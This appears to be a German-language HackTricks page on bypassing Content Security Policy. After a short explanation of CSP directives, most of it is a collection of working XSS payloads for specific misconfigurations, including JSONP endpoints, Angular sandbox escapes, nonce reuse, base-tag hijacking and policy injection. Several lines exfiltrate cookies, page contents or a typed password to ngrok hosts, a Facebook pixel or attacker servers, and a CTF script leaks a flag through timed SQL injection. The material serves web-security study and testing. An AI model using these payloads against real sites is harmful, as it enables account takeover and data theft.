Content Security Policy (CSP) Bypass

Unterstützen Sie HackTricks

Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

Hacking Einblicke Engagieren Sie sich mit Inhalten, die in den Nervenkitzel und die Herausforderungen des Hackens eintauchen

Echtzeit-Hack-Nachrichten Bleiben Sie auf dem Laufenden über die schnelllebige Hackerwelt durch Echtzeitnachrichten und Einblicke

Neueste Ankündigungen Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates

Treten Sie uns auf Discord bei und beginnen Sie noch heute mit den besten Hackern zusammenzuarbeiten!

Was ist CSP

Content Security Policy (CSP) wird als Browsertechnologie anerkannt, die hauptsächlich darauf abzielt, sich gegen Angriffe wie Cross-Site-Scripting (XSS) zu schützen. Es funktioniert, indem es Pfade und Quellen definiert und detailliert, von denen Ressourcen sicher vom Browser geladen werden können. Diese Ressourcen umfassen eine Reihe von Elementen wie Bilder, Frames und JavaScript. Zum Beispiel könnte eine Richtlinie das Laden und Ausführen von Ressourcen von derselben Domain (self) erlauben, einschließlich Inline-Ressourcen und die Ausführung von String-Code durch Funktionen wie eval, setTimeout oder setInterval.

Die Implementierung von CSP erfolgt durch Antwort-Header oder durch die Einfügung von Meta-Elementen in die HTML-Seite. In Übereinstimmung mit dieser Richtlinie setzen Browser diese Bestimmungen proaktiv durch und blockieren sofort alle erkannten Verstöße.

  • Implementiert über Antwort-Header:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • Implementiert über das Meta-Tag:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Headers

CSP kann mit diesen Headern durchgesetzt oder überwacht werden:

  • Content-Security-Policy: Setzt die CSP durch; der Browser blockiert alle Verstöße.

  • Content-Security-Policy-Report-Only: Wird zur Überwachung verwendet; meldet Verstöße, ohne sie zu blockieren. Ideal für Tests in Pre-Production-Umgebungen.

Defining Resources

CSP beschränkt die Ursprünge für das Laden sowohl aktiver als auch passiver Inhalte und kontrolliert Aspekte wie die Ausführung von Inline-JavaScript und die Verwendung von eval(). Ein Beispiel für eine Richtlinie ist:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Direktiven

  • script-src: Erlaubt spezifische Quellen für JavaScript, einschließlich URLs, Inline-Skripte und Skripte, die durch Ereignis-Handler oder XSLT-Stylesheets ausgelöst werden.

  • default-src: Legt eine Standardrichtlinie für das Abrufen von Ressourcen fest, wenn spezifische Abrufrichtlinien fehlen.

  • child-src: Gibt erlaubte Ressourcen für Web-Worker und eingebettete Frame-Inhalte an.

  • connect-src: Beschränkt URLs, die mit Schnittstellen wie fetch, WebSocket, XMLHttpRequest geladen werden können.

  • frame-src: Beschränkt URLs für Frames.

  • frame-ancestors: Gibt an, welche Quellen die aktuelle Seite einbetten können, anwendbar auf Elemente wie <frame>, <iframe>, <object>, <embed> und <applet>.

  • img-src: Definiert erlaubte Quellen für Bilder.

  • font-src: Gibt gültige Quellen für Schriftarten an, die mit @font-face geladen werden.

  • manifest-src: Definiert erlaubte Quellen für Anwendungsmanifestdateien.

  • media-src: Definiert erlaubte Quellen für das Laden von Medienobjekten.

  • object-src: Definiert erlaubte Quellen für <object>, <embed> und <applet>-Elemente.

  • base-uri: Gibt erlaubte URLs für das Laden mit <base>-Elementen an.

  • form-action: Listet gültige Endpunkte für Formularübermittlungen auf.

  • plugin-types: Beschränkt MIME-Typen, die eine Seite aufrufen kann.

  • upgrade-insecure-requests: Weist Browser an, HTTP-URLs in HTTPS umzuschreiben.

  • sandbox: Wendet Einschränkungen an, die ähnlich wie das Sandbox-Attribut eines <iframe> sind.

  • report-to: Gibt eine Gruppe an, an die ein Bericht gesendet wird, wenn die Richtlinie verletzt wird.

  • worker-src: Gibt gültige Quellen für Worker-, SharedWorker- oder ServiceWorker-Skripte an.

  • prefetch-src: Gibt gültige Quellen für Ressourcen an, die abgerufen oder vorab abgerufen werden.

  • navigate-to: Beschränkt die URLs, zu denen ein Dokument auf beliebige Weise navigieren kann (a, Formular, window.location, window.open usw.)

Quellen

  • *: Erlaubt alle URLs, außer denen mit data:, blob:, filesystem:-Schemas.

  • 'self': Erlaubt das Laden von derselben Domain.

  • 'data': Erlaubt das Laden von Ressourcen über das Daten-Schema (z. B. Base64-kodierte Bilder).

  • 'none': Blockiert das Laden von jeder Quelle.

  • 'unsafe-eval': Erlaubt die Verwendung von eval() und ähnlichen Methoden, aus Sicherheitsgründen nicht empfohlen.

  • 'unsafe-hashes': Ermöglicht spezifische Inline-Ereignis-Handler.

  • 'unsafe-inline': Erlaubt die Verwendung von Inline-Ressourcen wie Inline-<script> oder <style>, aus Sicherheitsgründen nicht empfohlen.

  • 'nonce': Eine Whitelist für spezifische Inline-Skripte unter Verwendung eines kryptografischen Nonce (einmal verwendete Zahl).

  • Wenn Sie eine eingeschränkte Ausführung von JS haben, ist es möglich, einen verwendeten Nonce innerhalb der Seite mit doc.defaultView.top.document.querySelector("[nonce]") zu erhalten und ihn dann wiederzuverwenden, um ein bösartiges Skript zu laden (wenn strict-dynamic verwendet wird, kann jede erlaubte Quelle neue Quellen laden, sodass dies nicht erforderlich ist), wie in:

Skript laden, das Nonce wiederverwendet
  • 'sha256-<hash>': Whitelistet Skripte mit einem spezifischen sha256-Hash.

  • 'strict-dynamic': Erlaubt das Laden von Skripten aus jeder Quelle, wenn sie durch ein nonce oder einen Hash whitelisted wurde.

  • 'host': Gibt einen spezifischen Host an, wie example.com.

  • https:: Beschränkt URLs auf solche, die HTTPS verwenden.

  • blob:: Erlaubt das Laden von Ressourcen von Blob-URLs (z.B. Blob-URLs, die über JavaScript erstellt wurden).

  • filesystem:: Erlaubt das Laden von Ressourcen vom Dateisystem.

  • 'report-sample': Beinhaltet ein Beispiel des verletzenden Codes im Verletzungsbericht (nützlich für das Debugging).

  • 'strict-origin': Ähnlich wie 'self', stellt jedoch sicher, dass das Sicherheitsniveau des Protokolls der Quellen mit dem Dokument übereinstimmt (nur sichere Ursprünge können Ressourcen von sicheren Ursprüngen laden).

  • 'strict-origin-when-cross-origin': Sendet vollständige URLs bei Anfragen mit demselben Ursprung, sendet jedoch nur den Ursprung, wenn die Anfrage cross-origin ist.

  • 'unsafe-allow-redirects': Erlaubt das Laden von Ressourcen, die sofort zu einer anderen Ressource umleiten. Nicht empfohlen, da es die Sicherheit schwächt.

Unsichere CSP-Regeln

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Working payload: "/><script>alert(1);</script>

self + 'unsafe-inline' über Iframes

'unsafe-eval'

Das funktioniert nicht, für mehr Informationen hier überprüfen.

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Funktionierender Payload:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Wenn Sie es irgendwie schaffen können, dass ein erlaubter JS-Code ein neues Skript-Tag im DOM mit Ihrem JS-Code erstellt, weil ein erlaubtes Skript es erstellt, wird das neue Skript-Tag erlaubt sein, ausgeführt zu werden.

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Funktionierender Payload:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Fehlende object-src und default-src

Es scheint, dass dies nicht mehr funktioniert

Content-Security-Policy: script-src 'self' ;

Funktionierende Payloads:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Datei-Upload + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Wenn Sie eine JS-Datei hochladen können, können Sie diese CSP umgehen:

Funktionierender Payload:

"/>'><script src="/uploads/picture.png.js"></script>

Es ist jedoch sehr wahrscheinlich, dass der Server die hochgeladene Datei validiert und nur bestimmte Dateitypen erlaubt.

Darüber hinaus, selbst wenn Sie einen JS-Code in einer Datei mit einer vom Server akzeptierten Erweiterung (wie: script.png) hochladen könnten, wäre das nicht genug, da einige Server wie der Apache-Server den MIME-Typ der Datei basierend auf der Erweiterung auswählen und Browser wie Chrome Javascript-Code in etwas, das ein Bild sein sollte, nicht ausführen. "Hoffentlich" gibt es Fehler. Zum Beispiel habe ich von einem CTF gelernt, dass Apache nicht weiß, was die .wave-Erweiterung ist, daher wird sie nicht mit einem MIME-Typ wie audio/ bedient.

Von hier aus, wenn Sie ein XSS und einen Datei-Upload finden und es Ihnen gelingt, eine missverstandene Erweiterung zu finden, könnten Sie versuchen, eine Datei mit dieser Erweiterung und dem Inhalt des Skripts hochzuladen. Oder, wenn der Server das korrekte Format der hochgeladenen Datei überprüft, erstellen Sie ein Polyglot (einige Polyglot-Beispiele hier).

Form-action

Wenn es nicht möglich ist, JS zu injizieren, könnten Sie immer noch versuchen, beispielsweise Anmeldeinformationen durch das Injizieren einer Formularaktion zu exfiltrieren (und vielleicht erwarten, dass Passwortmanager Passwörter automatisch ausfüllen). Sie finden ein Beispiel in diesem Bericht. Beachten Sie auch, dass default-src keine Formularaktionen abdeckt.

Third Party Endpoints + ('unsafe-eval')

Für einige der folgenden Payloads wird unsafe-eval nicht einmal benötigt.

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Laden Sie eine verwundbare Version von Angular und führen Sie beliebigen JS aus:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads unter Verwendung von Angular + einer Bibliothek mit Funktionen, die das window-Objekt zurückgeben (schau dir diesen Beitrag an):

Der Beitrag zeigt, dass du alle Bibliotheken von cdn.cloudflare.com (oder einem anderen erlaubten JS-Bibliotheks-Repo) laden, alle hinzugefügten Funktionen aus jeder Bibliothek ausführen und überprüfen kannst, welche Funktionen aus welchen Bibliotheken das window-Objekt zurückgeben.

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS von einem Klassennamen:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Missbrauch des Google reCAPTCHA JS-Codes

Laut diesem CTF-Bericht können Sie https://www.google.com/recaptcha/ innerhalb einer CSP missbrauchen, um beliebigen JS-Code auszuführen und die CSP zu umgehen:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Mehr Payloads aus diesem Bericht:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

Missbrauch von www.google.com für offene Weiterleitungen

Die folgende URL leitet zu example.com weiter (von hier):

https://www.google.com/amp/s/example.com/

Abusing *.google.com/script.google.com

Es ist möglich, Google Apps Script zu missbrauchen, um Informationen auf einer Seite innerhalb von script.google.com zu erhalten. Wie es in diesem Bericht gemacht wird.

Third Party Endpoints + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Szenarien wie dieses, in denen script-src auf self und eine bestimmte, auf die Whitelist gesetzte Domain eingestellt ist, können mit JSONP umgangen werden. JSONP-Endpunkte erlauben unsichere Callback-Methoden, die es einem Angreifer ermöglichen, XSS durchzuführen, funktionierender Payload:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee enthält einsatzbereite JSONP-Endpunkte zum Umgehen der CSP verschiedener Websites.

Die gleiche Schwachstelle tritt auf, wenn der vertrauenswürdige Endpunkt eine Open Redirect enthält, da, wenn der ursprüngliche Endpunkt vertrauenswürdig ist, auch Weiterleitungen vertrauenswürdig sind.

Missbrauch durch Dritte

Wie im folgenden Beitrag beschrieben, gibt es viele Drittanbieter-Domains, die irgendwo in der CSP erlaubt sein könnten und missbraucht werden können, um entweder Daten zu exfiltrieren oder JavaScript-Code auszuführen. Einige dieser Drittanbieter sind:

Wenn Sie eine der erlaubten Domains in der CSP Ihres Ziels finden, besteht die Möglichkeit, dass Sie die CSP umgehen können, indem Sie sich bei dem Drittanbieterdienst registrieren und entweder Daten an diesen Dienst exfiltrieren oder Code ausführen.

Zum Beispiel, wenn Sie die folgende CSP finden:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

oder

Content-Security-Policy​: connect-src www.facebook.com;​

Sie sollten in der Lage sein, Daten zu exfiltrieren, ähnlich wie es immer mit Google Analytics/Google Tag Manager gemacht wurde. In diesem Fall folgen Sie diesen allgemeinen Schritten:

  1. Erstellen Sie hier ein Facebook-Entwicklerkonto.

  2. Erstellen Sie eine neue "Facebook Login"-App und wählen Sie "Website".

  3. Gehen Sie zu "Einstellungen -> Grundlegend" und holen Sie sich Ihre "App-ID".

  4. Auf der Zielseite, von der Sie Daten exfiltrieren möchten, können Sie Daten direkt über das Facebook SDK-Gadget "fbq" durch ein "customEvent" und die Datenlast exfiltrieren.

  5. Gehen Sie zu Ihrem App "Event Manager" und wählen Sie die von Ihnen erstellte Anwendung aus (beachten Sie, dass der Event-Manager in einer URL zu finden sein könnte, die ähnlich aussieht wie: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).

  6. Wählen Sie die Registerkarte "Testereignisse", um die von "Ihrer" Website gesendeten Ereignisse zu sehen.

Führen Sie dann auf der Seite des Opfers den folgenden Code aus, um das Facebook-Tracking-Pixel zu initialisieren, das auf die App-ID des Facebook-Entwicklerkontos des Angreifers zeigt, und um ein benutzerdefiniertes Ereignis wie folgt auszulösen:

fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

Was die anderen sieben Drittanbieter-Domains betrifft, die in der vorherigen Tabelle angegeben sind, gibt es viele weitere Möglichkeiten, wie Sie diese missbrauchen können. Verweisen Sie auf den vorherigen Blogbeitrag für zusätzliche Erklärungen zu anderen Drittanbieter-Missbräuchen.

Bypass via RPO (Relative Path Overwrite)

Neben der oben genannten Umleitung, um Pfadbeschränkungen zu umgehen, gibt es eine weitere Technik namens Relative Path Overwrite (RPO), die auf einigen Servern verwendet werden kann.

Wenn CSP beispielsweise den Pfad https://example.com/scripts/react/ zulässt, kann er wie folgt umgangen werden:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Der Browser wird letztendlich https://example.com/scripts/angular/angular.js laden.

Dies funktioniert, weil der Browser eine Datei mit dem Namen ..%2fangular%2fangular.js lädt, die sich unter https://example.com/scripts/react/ befindet, was mit CSP konform ist.

∑, sie werden es dekodieren und effektiv https://example.com/scripts/react/../angular/angular.js anfordern, was gleichwertig ist mit https://example.com/scripts/angular/angular.js.

Durch Ausnutzung dieser Inkonsistenz in der URL-Interpretation zwischen dem Browser und dem Server können die Pfadregeln umgangen werden.

Die Lösung besteht darin, %2f auf der Serverseite nicht als / zu behandeln, um eine konsistente Interpretation zwischen dem Browser und dem Server sicherzustellen und dieses Problem zu vermeiden.

Online-Beispiel: https://jsbin.com/werevijewa/edit?html,output

Iframes JS-Ausführung

fehlende base-uri

Wenn die base-uri-Richtlinie fehlt, können Sie dies ausnutzen, um eine dangling markup injection durchzuführen.

Darüber hinaus, wenn die Seite ein Skript mit einem relativen Pfad lädt (wie <script src="/js/app.js">) unter Verwendung eines Nonce, können Sie den base tag ausnutzen, um das Skript von Ihrem eigenen Server zu laden und eine XSS zu erreichen. Wenn die anfällige Seite mit httpS geladen wird, verwenden Sie eine httpS-URL im Basis-Tag.

<base href="https://www.attacker.com/">

AngularJS-Ereignisse

Eine spezifische Richtlinie, bekannt als Content Security Policy (CSP), kann JavaScript-Ereignisse einschränken. Dennoch führt AngularJS benutzerdefinierte Ereignisse als Alternative ein. Innerhalb eines Ereignisses stellt AngularJS ein einzigartiges Objekt $event zur Verfügung, das auf das native Browser-Ereignisobjekt verweist. Dieses $event-Objekt kann ausgenutzt werden, um die CSP zu umgehen. Bemerkenswerterweise besitzt das $event/event-Objekt in Chrome ein path-Attribut, das ein Objektarray enthält, das in der Ausführungskette des Ereignisses beteiligt ist, wobei das window-Objekt stets am Ende positioniert ist. Diese Struktur ist entscheidend für Sandbox-Umgehungstaktiken.

Indem dieses Array an den orderBy-Filter weitergeleitet wird, ist es möglich, über es zu iterieren und das terminale Element (das window-Objekt) zu nutzen, um eine globale Funktion wie alert() auszulösen. Der unten demonstrierte Codeausschnitt verdeutlicht diesen Prozess:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Dieser Snippet hebt die Verwendung der ng-focus-Direktive hervor, um das Ereignis auszulösen, wobei $event.path|orderBy verwendet wird, um das path-Array zu manipulieren, und das window-Objekt genutzt wird, um die alert()-Funktion auszuführen, wodurch document.cookie offengelegt wird.

Finde andere Angular-Bypässe in https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS und whitelisted Domain

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Eine CSP-Richtlinie, die Domains für das Laden von Skripten in einer Angular JS-Anwendung auf die Whitelist setzt, kann durch die Ausführung von Callback-Funktionen und bestimmten anfälligen Klassen umgangen werden. Weitere Informationen zu dieser Technik finden Sie in einem detaillierten Leitfaden, der in diesem git repository verfügbar ist.

Funktionierende Payloads:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Andere JSONP beliebige Ausführung Endpunkte können hier gefunden werden (einige von ihnen wurden gelöscht oder behoben)

Umgehung durch Umleitung

Was passiert, wenn CSP auf serverseitige Umleitungen trifft? Wenn die Umleitung zu einem anderen Ursprung führt, der nicht erlaubt ist, wird sie dennoch fehlschlagen.

Laut der Beschreibung in CSP spec 4.2.2.3. Pfade und Umleitungen kann die Umleitung, wenn sie zu einem anderen Pfad führt, die ursprünglichen Einschränkungen umgehen.

Hier ist ein Beispiel:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Wenn CSP auf https://www.google.com/a/b/c/d gesetzt ist, werden sowohl die Skripte /test als auch /a/test von CSP blockiert.

Die endgültige http://localhost:5555/301 wird jedoch serverseitig auf https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)// umgeleitet. Da es sich um eine Umleitung handelt, wird der Pfad nicht berücksichtigt, und das Skript kann geladen werden, wodurch die Pfadbeschränkung umgangen wird.

Mit dieser Umleitung wird selbst dann, wenn der Pfad vollständig angegeben ist, weiterhin umgangen.

Daher ist die beste Lösung, sicherzustellen, dass die Website keine offenen Umleitungsanfälligkeiten hat und dass es keine Domains gibt, die in den CSP-Regeln ausgenutzt werden können.

Bypass CSP mit schwebendem Markup

Lies wie hier.

'unsafe-inline'; img-src *; über XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' bedeutet, dass Sie jeden Skript im Code ausführen können (XSS kann Code ausführen) und img-src * bedeutet, dass Sie auf der Webseite jedes Bild aus jeder Quelle verwenden können.

Sie können diese CSP umgehen, indem Sie die Daten über Bilder exfiltrieren (in diesem Fall missbraucht das XSS eine CSRF, bei der eine vom Bot zugängliche Seite eine SQLi enthält, und extrahiert das Flag über ein Bild):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Sie könnten auch diese Konfiguration missbrauchen, um JavaScript-Code, der in ein Bild eingefügt ist, zu laden. Wenn die Seite beispielsweise das Laden von Bildern von Twitter erlaubt. Sie könnten ein spezielles Bild erstellen, es auf Twitter hochladen und die "unsafe-inline" ausnutzen, um einen JS-Code (wie bei einem regulären XSS) auszuführen, der das Bild lädt, den JS daraus extrahiert und ausführt: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Mit Service Workern

Die Funktion importScripts von Service Workern ist nicht durch CSP eingeschränkt:

Policy Injection

Forschung: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Wenn ein Parameter, der von Ihnen gesendet wird, in die Deklaration der Richtlinie eingefügt wird, könnten Sie die Richtlinie auf eine Weise ändern, die sie nutzlos macht. Sie könnten Script 'unsafe-inline' mit einem dieser Umgehungen erlauben:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Weil diese Direktive bestehende script-src-Direktiven überschreibt. Ein Beispiel finden Sie hier: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

In Edge ist es viel einfacher. Wenn Sie in der CSP nur dies hinzufügen können: ;_ Edge würde die gesamte Richtlinie fallen lassen. Beispiel: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - Zeitangriff

Beachten Sie das Fehlen der Direktive 'unsafe-inline' Diesmal können Sie das Opfer dazu bringen, eine Seite in Ihrer Kontrolle über XSS mit einem <iframe zu laden. Diesmal werden Sie das Opfer dazu bringen, auf die Seite zuzugreifen, von der Sie Informationen extrahieren möchten (CSRF). Sie können nicht auf den Inhalt der Seite zugreifen, aber wenn Sie irgendwie die Zeit kontrollieren können, die die Seite zum Laden benötigt, können Sie die Informationen extrahieren, die Sie benötigen.

Diesmal wird eine Flagge extrahiert, wann immer ein Zeichen korrekt erraten wird. Über SQLi benötigt die Antwort mehr Zeit aufgrund der Schlaf-Funktion. Dann werden Sie in der Lage sein, die Flagge zu extrahieren:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Via Bookmarklets

Dieser Angriff würde einige soziale Ingenieurkunst erfordern, bei der der Angreifer den Benutzer überzeugt, einen Link über das Lesezeichen des Browsers zu ziehen und abzulegen. Dieses Lesezeichen würde bösartigen JavaScript-Code enthalten, der beim Ziehen und Ablegen oder Klicken im Kontext des aktuellen Webfensters ausgeführt wird, CSP umgeht und es ermöglicht, sensible Informationen wie Cookies oder Tokens zu stehlen.

Für weitere Informationen prüfen Sie den ursprünglichen Bericht hier.

CSP-Bypass durch Einschränkung von CSP

In diesem CTF-Bericht wird CSP umgangen, indem in ein erlaubtes iframe eine restriktivere CSP injiziert wird, die das Laden einer bestimmten JS-Datei verbietet, die dann über Prototype Pollution oder DOM Clobbering es ermöglichte, ein anderes Skript zu missbrauchen, um ein beliebiges Skript zu laden.

Sie können eine CSP eines Iframes mit dem csp-Attribut einschränken:

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

In diesem CTF-Bericht war es möglich, über HTML-Injection eine CSP weiter zu beschränken, sodass ein Skript, das CSTI verhinderte, deaktiviert wurde und daher die Schwachstelle ausnutzbar wurde. CSP kann restriktiver gestaltet werden, indem HTML-Meta-Tags verwendet werden und Inline-Skripte können deaktiviert werden, indem der Eintrag entfernt wird, der ihren Nonce zulässt, und spezifische Inline-Skripte über sha aktiviert werden:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

JS-Exfiltration mit Content-Security-Policy-Report-Only

Wenn es dir gelingt, den Server dazu zu bringen, mit dem Header Content-Security-Policy-Report-Only zu antworten, der einen von dir kontrollierten Wert hat (vielleicht wegen eines CRLF), könntest du ihn auf deinen Server verweisen lassen und wenn du den JS-Inhalt, den du exfiltrieren möchtest, mit <script> umschließt und da höchstwahrscheinlich unsafe-inline von der CSP nicht erlaubt ist, wird dies einen CSP-Fehler auslösen und ein Teil des Skripts (das die sensiblen Informationen enthält) wird vom Content-Security-Policy-Report-Only an den Server gesendet.

Für ein Beispiel siehe diesen CTF-Bericht.

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Leaking Information with CSP and Iframe

  • Ein iframe wird erstellt, der auf eine URL zeigt (nennen wir sie https://example.redirect.com), die von CSP erlaubt ist.

  • Diese URL leitet dann zu einer geheimen URL weiter (z. B. https://usersecret.example2.com), die nicht erlaubt ist von CSP.

  • Durch das Abhören des securitypolicyviolation-Ereignisses kann man die blockedURI-Eigenschaft erfassen. Diese Eigenschaft offenbart die Domain der blockierten URI und leakt die geheime Domain, zu der die ursprüngliche URL weitergeleitet wurde.

